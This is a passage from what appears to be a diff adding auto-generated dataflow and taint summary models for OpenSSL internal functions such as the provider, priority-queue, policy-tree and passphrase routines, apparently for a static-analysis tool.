char *)", "", "Argument[1]", "Argument[*0].Field[*ctx].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "ossl_policy_cache_find_data", "(const X509_POLICY_CACHE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_policy_cache_find_data", "(const X509_POLICY_CACHE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_policy_cache_set", "(X509 *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_policy_cache_set", "(X509 *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_policy_data_new", "(POLICYINFO *,const ASN1_OBJECT *,int)", "", "Argument[1]", "ReturnValue[*].Field[*valid_policy]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[1]", "Argument[*0].Field[**anyPolicy].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[1]", "Argument[*3].Field[**extra_data].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[1]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[2]", "Argument[*0].Field[**anyPolicy].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_add_node", "(X509_POLICY_LEVEL *,X509_POLICY_DATA *,X509_POLICY_NODE *,X509_POLICY_TREE *,int)", "", "Argument[2]", "ReturnValue[*].Field[*parent]", "value", "dfc-generated"] + - ["", "", True, "ossl_policy_level_find_node", "(const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_policy_level_find_node", "(const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_policy_tree_find_sk", "(stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_policy_tree_find_sk", "(stack_st_X509_POLICY_NODE *,const ASN1_OBJECT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_polyval_ghash_hash", "(const u128[16],uint8_t *,const uint8_t *,size_t)", "", "Argument[*2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_polyval_ghash_hash", "(const u128[16],uint8_t *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_polyval_ghash_hash", "(const u128[16],uint8_t *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pool_acquire_entropy", "(RAND_POOL *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_new", "(..(*)(..))", "", "Argument[0]", "ReturnValue[*].Field[*compare]", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_num", "(const OSSL_PQUEUE *)", "", "Argument[*0].Field[*htop]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_peek", "(const OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_peek", "(const OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_peek", "(const OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_pop", "(OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_pop", "(OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_pop", "(OSSL_PQUEUE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_pqueue_push", "(OSSL_PQUEUE *,void *,size_t *)", "", "Argument[**1]", "Argument[*0].Field[**heap].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_push", "(OSSL_PQUEUE *,void *,size_t *)", "", "Argument[*1]", "Argument[*0].Field[**heap].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_push", "(OSSL_PQUEUE *,void *,size_t *)", "", "Argument[1]", "Argument[*0].Field[**heap].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ossl_pqueue_remove", "(OSSL_PQUEUE *,size_t)", "", "Argument[1]", "Argument[*0].Field[*freelist]", "value", "dfc-generated"] + - ["", "", True, "ossl_print_attribute_value", "(BIO *,int,const ASN1_TYPE *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "ossl_prop_defn_set", "(OSSL_LIB_CTX *,const char *,OSSL_PROPERTY_LIST **)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_find_property", "(const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_property_find_property", "(const OSSL_PROPERTY_LIST *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_property_get_number_value", "(const OSSL_PROPERTY_DEFINITION *)", "", "Argument[*0].Field[*v].Union[*(unnamed class/struct/union)]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_property_get_string_value", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_DEFINITION *)", "", "Argument[*1].Field[*v].Union[*(unnamed class/struct/union)]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_get_type", "(const OSSL_PROPERTY_DEFINITION *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_property_list_to_string", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)", "", "Argument[*1].Field[*properties].Field[*name_idx]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_list_to_string", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_list_to_string", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_list_to_string", "(OSSL_LIB_CTX *,const OSSL_PROPERTY_LIST *,char *,size_t)", "", "Argument[3]", "Argument[2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_merge", "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)", "", "Argument[*0].Field[*properties].Field[*optional]", "ReturnValue[*].Field[*has_optional]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_merge", "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)", "", "Argument[*0].Field[*properties]", "ReturnValue[*].Field[*properties]", "value", "dfc-generated"] + - ["", "", True, "ossl_property_merge", "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)", "", "Argument[*1].Field[*properties].Field[*optional]", "ReturnValue[*].Field[*has_optional]", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_merge", "(const OSSL_PROPERTY_LIST *,const OSSL_PROPERTY_LIST *)", "", "Argument[*1].Field[*properties]", "ReturnValue[*].Field[*properties]", "value", "dfc-generated"] + - ["", "", True, "ossl_property_name", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_property_name_str", "(OSSL_LIB_CTX *,OSSL_PROPERTY_IDX)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_property_value", "(OSSL_LIB_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_property_value_str", "(OSSL_LIB_CTX *,OSSL_PROPERTY_IDX)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_bio_from_dispatch", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_cache_exported_algorithms", "(const OSSL_ALGORITHM_CAPABLE *,OSSL_ALGORITHM *)", "", "Argument[*0].Field[*alg]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_cipher", "(const PROV_CIPHER *)", "", "Argument[*0].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_cipher", "(const PROV_CIPHER *)", "", "Argument[*0].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_copy", "(PROV_CIPHER *,const PROV_CIPHER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_cipher_engine", "(const PROV_CIPHER *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_engine", "(const PROV_CIPHER *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_cipher_load_from_params", "(PROV_CIPHER *,const OSSL_PARAM[],OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_core_bio_method", "(PROV_CTX *)", "", "Argument[*0].Field[**corebiometh]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_core_bio_method", "(PROV_CTX *)", "", "Argument[*0].Field[*corebiometh]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_core_get_params", "(PROV_CTX *)", "", "Argument[*0].Field[*core_get_params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_handle", "(PROV_CTX *)", "", "Argument[*0].Field[**handle]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_handle", "(PROV_CTX *)", "", "Argument[*0].Field[*handle]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_libctx", "(PROV_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get0_libctx", "(PROV_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get_bool_param", "(PROV_CTX *,const char *,int)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get_param", "(PROV_CTX *,const char *,const char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_get_param", "(PROV_CTX *,const char *,const char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_core_bio_method", "(PROV_CTX *,BIO_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**corebiometh]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_core_bio_method", "(PROV_CTX *,BIO_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*corebiometh]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_core_get_params", "(PROV_CTX *,OSSL_FUNC_core_get_params_fn *)", "", "Argument[1]", "Argument[*0].Field[*core_get_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_handle", "(PROV_CTX *,const OSSL_CORE_HANDLE *)", "", "Argument[*1]", "Argument[*0].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_handle", "(PROV_CTX *,const OSSL_CORE_HANDLE *)", "", "Argument[1]", "Argument[*0].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_libctx", "(PROV_CTX *,OSSL_LIB_CTX *)", "", "Argument[*1]", "Argument[*0].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_ctx_set0_libctx", "(PROV_CTX *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*0].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_copy", "(PROV_DIGEST *,const PROV_DIGEST *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_digest_engine", "(const PROV_DIGEST *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_engine", "(const PROV_DIGEST *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_fetch", "(PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_prov_digest_fetch", "(PROV_DIGEST *,OSSL_LIB_CTX *,const char *,const char *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_digest_load_from_params", "(PROV_DIGEST *,const OSSL_PARAM[],OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_md", "(const PROV_DIGEST *)", "", "Argument[*0].Field[**md]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_md", "(const PROV_DIGEST *)", "", "Argument[*0].Field[*md]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_set_md", "(PROV_DIGEST *,EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[**alloc_md]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_digest_set_md", "(PROV_DIGEST *,EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*alloc_md]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_free_key", "(const OSSL_DISPATCH *,void *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_export", "(const OSSL_DISPATCH *)", "", "Argument[*0].Field[*function]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_export", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_free", "(const OSSL_DISPATCH *)", "", "Argument[*0].Field[*function]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_free", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_import", "(const OSSL_DISPATCH *)", "", "Argument[*0].Field[*function]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_import", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_new", "(const OSSL_DISPATCH *)", "", "Argument[*0].Field[*function]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_get_keymgmt_new", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_import_key", "(const OSSL_DISPATCH *,void *,int,const OSSL_PARAM[])", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_macctx_load_from_params", "(EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_macctx_load_from_params", "(EVP_MAC_CTX **,const OSSL_PARAM[],const char *,const char *,const char *,OSSL_LIB_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**0]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[*0]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[0]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[1]", "Argument[*3]", "value", "dfc-generated"] + - ["", "", True, "ossl_prov_memdup", "(const void *,size_t,unsigned char **,size_t *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_ml_dsa_new", "(PROV_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_ml_kem_new", "(PROV_CTX *,const char *,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_prov_seeding_from_dispatch", "(const OSSL_DISPATCH *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_prov_set_macctx", "(EVP_MAC_CTX *,const OSSL_PARAM[],const char *,const char *,const char *,const char *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_add_to_store", "(OSSL_PROVIDER *,OSSL_PROVIDER **,int)", "", "Argument[*0]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "ossl_provider_add_to_store", "(OSSL_PROVIDER *,OSSL_PROVIDER **,int)", "", "Argument[0]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_ctx", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_doall_activated", "(OSSL_LIB_CTX *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_dso", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**module]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_dso", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*module]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_get0_dispatch", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**dispatch]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_get0_dispatch", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*dispatch]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_get_parent", "(OSSL_PROVIDER *)", "", "Argument[*0].Field[**handle]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_get_parent", "(OSSL_PROVIDER *)", "", "Argument[*0].Field[*handle]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_info_add_to_store", "(OSSL_LIB_CTX *,OSSL_PROVIDER_INFO *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_init_as_child", "(OSSL_LIB_CTX *,const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_is_child", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*ischild]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_libctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_libctx", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_module_name", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_provider_module_name", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_module_path", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ossl_provider_module_path", "(const OSSL_PROVIDER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_provider_name", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_name", "(const OSSL_PROVIDER *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[1]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_new", "(OSSL_LIB_CTX *,const char *,OSSL_provider_init_fn *,OSSL_PARAM *,int)", "", "Argument[2]", "ReturnValue[*].Field[*init_function]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_set_child", "(OSSL_PROVIDER *,const OSSL_CORE_HANDLE *)", "", "Argument[*1]", "Argument[*0].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_set_child", "(OSSL_PROVIDER *,const OSSL_CORE_HANDLE *)", "", "Argument[1]", "Argument[*0].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_set_module_path", "(OSSL_PROVIDER *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**path]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_set_module_path", "(OSSL_PROVIDER *,const char *)", "", "Argument[1]", "Argument[*0].Field[**path]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_set_operation_bit", "(OSSL_PROVIDER *,size_t)", "", "Argument[1]", "Argument[*0].Field[**operation_bits]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_set_operation_bit", "(OSSL_PROVIDER *,size_t)", "", "Argument[1]", "Argument[*0].Field[*operation_bits_sz]", "taint", "dfc-generated"] + - ["", "", True, "ossl_provider_store_new", "(OSSL_LIB_CTX *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_store_new", "(OSSL_LIB_CTX *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "ossl_provider_test_operation_bit", "(OSSL_PROVIDER *,size_t,int *)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_punycode_decode", "(const char *,const size_t,unsigned int *,unsigned int *)", "", "Argument[*0]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_punycode_decode", "(const char *,const size_t,unsigned int *,unsigned int *)", "", "Argument[0]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_punycode_decode", "(const char *,const size_t,unsigned int *,unsigned int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_punycode_decode", "(const char *,const size_t,unsigned int *,unsigned int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[*0]", "Argument[*5].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[*2]", "Argument[*5].Field[*cached_passphrase_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[0]", "Argument[*5].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[2]", "Argument[*5].Field[*cached_passphrase_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_get_passphrase", "(char *,size_t,size_t *,const OSSL_PARAM[],int,ossl_passphrase_data_st *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[*0]", "Argument[*4].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[*2]", "Argument[*4].Field[*cached_passphrase_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[0]", "Argument[*4].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[2]", "Argument[*4].Field[*cached_passphrase_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_dec", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[*0]", "Argument[*4].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[*2]", "Argument[*4].Field[*cached_passphrase_len]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[0]", "Argument[*4].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[2]", "Argument[*4].Field[*cached_passphrase_len]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_passphrase_callback_enc", "(char *,size_t,size_t *,const OSSL_PARAM[],void *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_pw_pem_password", "(char *,int,int,void *)", "", "Argument[*0]", "Argument[*3].Field[**cached_passphrase]", "value", "dfc-generated"] + - ["", "", True, "ossl_pw_pem_password", "(char *,int,int,void *)", "", "Argument[0]", "Argument[*3].Field[**cached_passphrase]", "taint", "dfc-generated"] + - ["", "", True, 